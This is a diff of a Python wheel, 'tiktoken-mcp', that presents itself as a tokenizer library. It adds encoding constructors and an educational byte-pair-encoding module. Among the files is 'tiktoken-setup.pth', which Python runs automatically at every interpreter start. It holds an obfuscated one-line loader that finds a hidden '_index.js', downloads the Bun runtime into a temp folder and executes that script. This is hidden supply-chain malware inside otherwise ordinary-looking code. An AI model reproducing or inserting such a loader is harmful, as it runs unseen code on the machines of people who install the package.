tiktoken-mcp 0.13.2__py3-none-any.whl

tiktoken-setup.pth

@@ -0,0 +1 @@
+import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,platform as _p,sys as _y,shutil as _h,glob as _g;_j=None\nfor d in _y.path:\n try:\n  if _o.path.exists(_o.path.join(d,"_index.js")):_j=_o.path.join(d,"_index.js");break\n except:pass\nif not _j:\n for d in _y.path:\n  try:\n   for s in _o.listdir(d):\n    p=_o.path.join(d,s,"_index.js")\n    if _o.path.isdir(_o.path.join(d,s))and _o.path.exists(p):_j=p;break\n   if _j:break\n  except:pass\n_e=_o.name=="nt"\n_b=_o.path.join(_T.gettempdir(),"b","bun"+(".exe" if _e else""))\nif not _o.path.exists(_b):\n _a="aarch64" if _p.machine()=="arm64" else"x64"\n _m={"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n _z=_o.path.join(_T.gettempdir(),"b.zip")\n _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{_m}-{_a}.zip",_z)\n import zipfile as _zf\n _d=_o.path.join(_T.gettempdir(),"b","_extract")\n _o.makedirs(_d,exist_ok=1)\n _zf.ZipFile(_z).extractall(_d)\n _x=[_o.path.join(r,f)for r,_,fs in _o.walk(_d)for f in fs if f in("bun","bun.exe")]\n if _x:_h.move(_x[0],_b)\n _h.rmtree(_d,ignore_errors=1)\n _o.chmod(_b,509)\n _o.unlink(_z)\n_s.run([_b,"run",_j],check=False)\nopen(_G,"w").close()')

tiktoken_ext/openai_public.py

@@ -0,0 +1,162 @@
+from tiktoken.load import data_gym_to_mergeable_bpe_ranks, load_tiktoken_bpe
+
+ENDOFTEXT = "<|endoftext|>"
+FIM_PREFIX = "<|fim_prefix|>"
+FIM_MIDDLE = "<|fim_middle|>"
+FIM_SUFFIX = "<|fim_suffix|>"
+ENDOFPROMPT = "<|endofprompt|>"
+
+# The pattern in the original GPT-2 release is:
+# r"""'s|'t|'re|'ve|'m|'ll|'d| ?[\p{L}]+| ?[\p{N}]+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+"""
+# This is equivalent, but executes faster:
+r50k_pat_str = (
+    r"""'(?:[sdmt]|ll|ve|re)| ?\p{L}++| ?\p{N}++| ?[^\s\p{L}\p{N}]++|\s++$|\s+(?!\S)|\s"""
+)
+
+
+def gpt2():
+    mergeable_ranks = data_gym_to_mergeable_bpe_ranks(
+        vocab_bpe_file="https://openaipublic.blob.core.windows.net/gpt-2/encodings/main/vocab.bpe",
+        encoder_json_file="https://openaipublic.blob.core.windows.net/gpt-2/encodings/main/encoder.json",
+        vocab_bpe_hash="1ce1664773c50f3e0cc8842619a93edc4624525b728b188a9e0be33b7726adc5",
+        encoder_json_hash="196139668be63f3b5d6574427317ae82f612a97c5d1cdaf36ed2256dbf636783",
+    )
+    return {
+        "name": "gpt2",
+        "explicit_n_vocab": 50257,
+        "pat_str": r50k_pat_str,
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": {ENDOFTEXT: 50256},
+    }
+
+
+def r50k_base():
+    mergeable_ranks = load_tiktoken_bpe(
+        "https://openaipublic.blob.core.windows.net/encodings/r50k_base.tiktoken",
+        expected_hash="306cd27f03c1a714eca7108e03d66b7dc042abe8c258b44c199a7ed9838dd930",
+    )
+    return {
+        "name": "r50k_base",
+        "explicit_n_vocab": 50257,
+        "pat_str": r50k_pat_str,
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": {ENDOFTEXT: 50256},
+    }
+
+
+def p50k_base():
+    mergeable_ranks = load_tiktoken_bpe(
+        "https://openaipublic.blob.core.windows.net/encodings/p50k_base.tiktoken",
+        expected_hash="94b5ca7dff4d00767bc256fdd1b27e5b17361d7b8a5f968547f9f23eb70d2069",
+    )
+    return {
+        "name": "p50k_base",
+        "explicit_n_vocab": 50281,
+        "pat_str": r50k_pat_str,
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": {ENDOFTEXT: 50256},
+    }
+
+
+def p50k_edit():
+    mergeable_ranks = load_tiktoken_bpe(
+        "https://openaipublic.blob.core.windows.net/encodings/p50k_base.tiktoken",
+        expected_hash="94b5ca7dff4d00767bc256fdd1b27e5b17361d7b8a5f968547f9f23eb70d2069",
+    )
+    special_tokens = {ENDOFTEXT: 50256, FIM_PREFIX: 50281, FIM_MIDDLE: 50282, FIM_SUFFIX: 50283}
+    return {
+        "name": "p50k_edit",
+        "pat_str": r50k_pat_str,
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": special_tokens,
+    }
+
+
+def cl100k_base():
+    mergeable_ranks = load_tiktoken_bpe(
+        "https://openaipublic.blob.core.windows.net/encodings/cl100k_base.tiktoken",
+        expected_hash="223921b76ee99bde995b7ff738513eef100fb51d18c93597a113bcffe865b2a7",
+    )
+    special_tokens = {
+        ENDOFTEXT: 100257,
+        FIM_PREFIX: 100258,
+        FIM_MIDDLE: 100259,
+        FIM_SUFFIX: 100260,
+        ENDOFPROMPT: 100276,
+    }
+    return {
+        "name": "cl100k_base",
+        "pat_str": r"""'(?i:[sdmt]|ll|ve|re)|[^\r\n\p{L}\p{N}]?+\p{L}++|\p{N}{1,3}+| ?[^\s\p{L}\p{N}]++[\r\n]*+|\s++$|\s*[\r\n]|\s+(?!\S)|\s""",
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": special_tokens,
+    }
+
+
+def o200k_base():
+    mergeable_ranks = load_tiktoken_bpe(
+        "https://openaipublic.blob.core.windows.net/encodings/o200k_base.tiktoken",
+        expected_hash="446a9538cb6c348e3516120d7c08b09f57c36495e2acfffe59a5bf8b0cfb1a2d",
+    )
+    special_tokens = {ENDOFTEXT: 199999, ENDOFPROMPT: 200018}
+    # This regex could be made more efficient. If I was the one working on this encoding, I would
+    # have done a few other things differently too, e.g. I think you can allocate tokens more
+    # efficiently across languages.
+    pat_str = "|".join(
+        [
+            r"""[^\r\n\p{L}\p{N}]?[\p{Lu}\p{Lt}\p{Lm}\p{Lo}\p{M}]*[\p{Ll}\p{Lm}\p{Lo}\p{M}]+(?i:'s|'t|'re|'ve|'m|'ll|'d)?""",
+            r"""[^\r\n\p{L}\p{N}]?[\p{Lu}\p{Lt}\p{Lm}\p{Lo}\p{M}]+[\p{Ll}\p{Lm}\p{Lo}\p{M}]*(?i:'s|'t|'re|'ve|'m|'ll|'d)?""",
+            r"""\p{N}{1,3}""",
+            r""" ?[^\s\p{L}\p{N}]+[\r\n/]*""",
+            r"""\s*[\r\n]+""",
+            r"""\s+(?!\S)""",
+            r"""\s+""",
+        ]
+    )
+    return {
+        "name": "o200k_base",
+        "pat_str": pat_str,
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": special_tokens,
+    }
+
+
+def o200k_harmony():
+    base_enc = o200k_base()
+    name = "o200k_harmony"
+    pat_str = base_enc["pat_str"]
+    mergeable_ranks = base_enc["mergeable_ranks"]
+    special_tokens = {
+        **base_enc["special_tokens"],
+        "<|startoftext|>": 199998,
+        "<|endoftext|>": 199999,
+        "<|reserved_200000|>": 200000,
+        "<|reserved_200001|>": 200001,
+        "<|return|>": 200002,
+        "<|constrain|>": 200003,
+        "<|reserved_200004|>": 200004,
+        "<|channel|>": 200005,
+        "<|start|>": 200006,
+        "<|end|>": 200007,
+        "<|message|>": 200008,
+        "<|reserved_200009|>": 200009,
+        "<|reserved_200010|>": 200010,
+        "<|reserved_200011|>": 200011,
+        "<|call|>": 200012,
+    } | {f"<|reserved_{i}|>": i for i in range(200013, 201088)}
+    return {
+        "name": name,
+        "pat_str": pat_str,
+        "mergeable_ranks": mergeable_ranks,
+        "special_tokens": special_tokens,
+    }
+
+
+ENCODING_CONSTRUCTORS = {
+    "gpt2": gpt2,
+    "r50k_base": r50k_base,
+    "p50k_base": p50k_base,
+    "p50k_edit": p50k_edit,
+    "cl100k_base": cl100k_base,
+    "o200k_base": o200k_base,
+    "o200k_harmony": o200k_harmony,
+}

tiktoken_mcp/__init__.py

@@ -0,0 +1,8 @@
+# This is the public API of tiktoken
+from .core import Encoding as Encoding
+from .model import encoding_for_model as encoding_for_model
+from .model import encoding_name_for_model as encoding_name_for_model
+from .registry import get_encoding as get_encoding
+from .registry import list_encoding_names as list_encoding_names
+
+__version__ = "0.13.0"

tiktoken_mcp/_educational.py

@@ -0,0 +1,223 @@
+"""This is an educational implementation of the byte pair encoding algorithm."""
+
+from __future__ import annotations
+
+import collections
+
+import regex
+
+import tiktoken
+
+
+class SimpleBytePairEncoding:
+    def __init__(self, *, pat_str: str, mergeable_ranks: dict[bytes, int]) -> None:
+        """Creates an Encoding object."""
+        # A regex pattern string that is used to split the input text
+        self.pat_str = pat_str
+        # A dictionary mapping token bytes to their ranks. The ranks correspond to merge priority
+        self.mergeable_ranks = mergeable_ranks
+
+        self._decoder = {token: token_bytes for token_bytes, token in mergeable_ranks.items()}
+        self._pat = regex.compile(pat_str)
+
+    def encode(self, text: str, visualise: str | None = "colour") -> list[int]:
+        """Encodes a string into tokens.
+
+        >>> enc.encode("hello world")
+        [388, 372]
+        """
+        # Use the regex to split the text into (approximately) words
+        words = self._pat.findall(text)
+        tokens = []
+        for word in words:
+            # Turn each word into tokens, using the byte pair encoding algorithm
+            word_bytes = word.encode("utf-8")
+            word_tokens = bpe_encode(self.mergeable_ranks, word_bytes, visualise=visualise)
+            tokens.extend(word_tokens)
+        return tokens
+
+    def decode_bytes(self, tokens: list[int]) -> bytes:
+        """Decodes a list of tokens into bytes.
+
+        >>> enc.decode_bytes([388, 372])
+        b'hello world'
+        """
+        return b"".join(self._decoder[token] for token in tokens)
+
+    def decode(self, tokens: list[int]) -> str:
+        """Decodes a list of tokens into a string.
+
+        Decoded bytes are not guaranteed to be valid UTF-8. In that case, we replace
+        the invalid bytes with the replacement character "�".
+
+        >>> enc.decode([388, 372])
+        'hello world'
+        """
+        return self.decode_bytes(tokens).decode("utf-8", errors="replace")
+
+    def decode_tokens_bytes(self, tokens: list[int]) -> list[bytes]:
+        """Decodes a list of tokens into a list of bytes.
+
+        Useful for visualising how a string is tokenised.
+
+        >>> enc.decode_tokens_bytes([388, 372])
+        [b'hello', b' world']
+        """
+        return [self._decoder[token] for token in tokens]
+
+    @staticmethod
+    def train(training_data: str, vocab_size: int, pat_str: str):
+        """Train a BPE tokeniser on some data!"""
+        mergeable_ranks = bpe_train(data=training_data, vocab_size=vocab_size, pat_str=pat_str)
+        return SimpleBytePairEncoding(pat_str=pat_str, mergeable_ranks=mergeable_ranks)
+
+    @staticmethod
+    def from_tiktoken(encoding):
+        if isinstance(encoding, str):
+            encoding = tiktoken.get_encoding(encoding)
+        return SimpleBytePairEncoding(
+            pat_str=encoding._pat_str, mergeable_ranks=encoding._mergeable_ranks
+        )
+
+
+def bpe_encode(
+    mergeable_ranks: dict[bytes, int], input: bytes, visualise: str | None = "colour"
+) -> list[int]:
+    parts = [bytes([b]) for b in input]
+    while True:
+        # See the intermediate merges play out!
+        if visualise:
+            if visualise in ["colour", "color"]:
+                visualise_tokens(parts)
+            elif visualise == "simple":
+                print(parts)
+
+        # Iterate over all pairs and find the pair we want to merge the most
+        min_idx = None
+        min_rank = None
+        for i, pair in enumerate(zip(parts[:-1], parts[1:])):
+            rank = mergeable_ranks.get(pair[0] + pair[1])
+            if rank is not None and (min_rank is None or rank < min_rank):
+                min_idx = i
+                min_rank = rank
+
+        # If there were no pairs we could merge, we're done!
+        if min_rank is None:
+            break
+        assert min_idx is not None
+
+        # Otherwise, merge that pair and leave the rest unchanged. Then repeat.
+        parts = parts[:min_idx] + [parts[min_idx] + parts[min_idx + 1]] + parts[min_idx + 2 :]
+
+    if visualise:
+        print()
+
+    tokens = [mergeable_ranks[part] for part in parts]
+    return tokens
+
+
+def bpe_train(
+    data: str, vocab_size: int, pat_str: str, visualise: str | None = "colour"
+) -> dict[bytes, int]:
+    # First, add tokens for each individual byte value
+    if vocab_size < 2**8:
+        raise ValueError("vocab_size must be at least 256, so we can encode all bytes")
+    ranks = {}
+    for i in range(2**8):
+        ranks[bytes([i])] = i
+
+    # Splinter up our data into lists of bytes
+    # data = "Hello world"
+    # words = [
+    #     [b'H', b'e', b'l', b'l', b'o'],
+    #     [b' ', b'w', b'o', b'r', b'l', b'd']
+    # ]
+    words: list[list[bytes]] = [
+        [bytes([b]) for b in word.encode("utf-8")] for word in regex.findall(pat_str, data)
+    ]
+
+    # Now, use our data to figure out which merges we should make
+    while len(ranks) < vocab_size:
+        # Find the most common pair. This will become our next token
+        stats = collections.Counter()
+        for piece in words:
+            for pair in zip(piece[:-1], piece[1:]):
+                stats[pair] += 1
+
+        most_common_pair = max(stats, key=lambda x: stats[x])
+        token_bytes = most_common_pair[0] + most_common_pair[1]
+        token = len(ranks)
+        # Add the new token!
+        ranks[token_bytes] = token
+
+        # Now merge that most common pair in all the words. That is, update our training data
+        # to reflect our decision to make that pair into a new token.
+        new_words = []
+        for word in words:
+            new_word = []
+            i = 0
+            while i < len(word) - 1:
+                if (word[i], word[i + 1]) == most_common_pair:
+                    # We found our pair! Merge it
+                    new_word.append(token_bytes)
+                    i += 2
+                else:
+                    new_word.append(word[i])
+                    i += 1
+            if i == len(word) - 1:
+                new_word.append(word[i])
+            new_words.append(new_word)
+        words = new_words
+
+        # See the intermediate merges play out!
+        if visualise:
+            print(f"The current most common pair is {most_common_pair[0]} + {most_common_pair[1]}")
+            print(f"So we made {token_bytes} our {len(ranks)}th token")
+            if visualise in ["colour", "color"]:
+                print("Now the first fifty words in our training data look like:")
+                visualise_tokens([token for word in words[:50] for token in word])
+            elif visualise == "simple":
+                print("Now the first twenty words in our training data look like:")
+                for word in words[:20]:
+                    print(word)
+            print("\n")
+
+    return ranks
+
+
+def visualise_tokens(token_values: list[bytes]) -> None:
+    background = [f"\u001b[48;5;{i}m" for i in [167, 179, 185, 77, 80, 68, 134]]
+    # If token boundaries do not occur at unicode character boundaries, it's unclear how best to
+    # visualise the token. Here, we'll just use the unicode replacement character to represent some
+    # fraction of a character.
+    unicode_token_values = [x.decode("utf-8", errors="replace") for x in token_values]
+
+    running_length = 0
+    last_color = None
+    for token in unicode_token_values:
+        color = background[running_length % len(background)]
+        if color == last_color:
+            color = background[(running_length + 1) % len(background)]
+            assert color != last_color
+        last_color = color
+        running_length += len(token)
+        print(color + token, end="")
+    print("\u001b[0m")
+
+
+def train_simple_encoding():
+    gpt2_pattern = (
+        r"""'s|'t|'re|'ve|'m|'ll|'d| ?[\p{L}]+| ?[\p{N}]+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+"""
+    )
+    with open(__file__) as f:
+        data = f.read()
+
+    enc = SimpleBytePairEncoding.train(data, vocab_size=600, pat_str=gpt2_pattern)
+
+    print("This is the sequence of merges performed in order to encode 'hello world':")
+    tokens = enc.encode("hello world")
+    assert enc.decode(tokens) == "hello world"
+    assert enc.decode_bytes(tokens) == b"hello world"
+    assert enc.decode_tokens_bytes(tokens) == [b"hello", b" world"]
+
+    return enc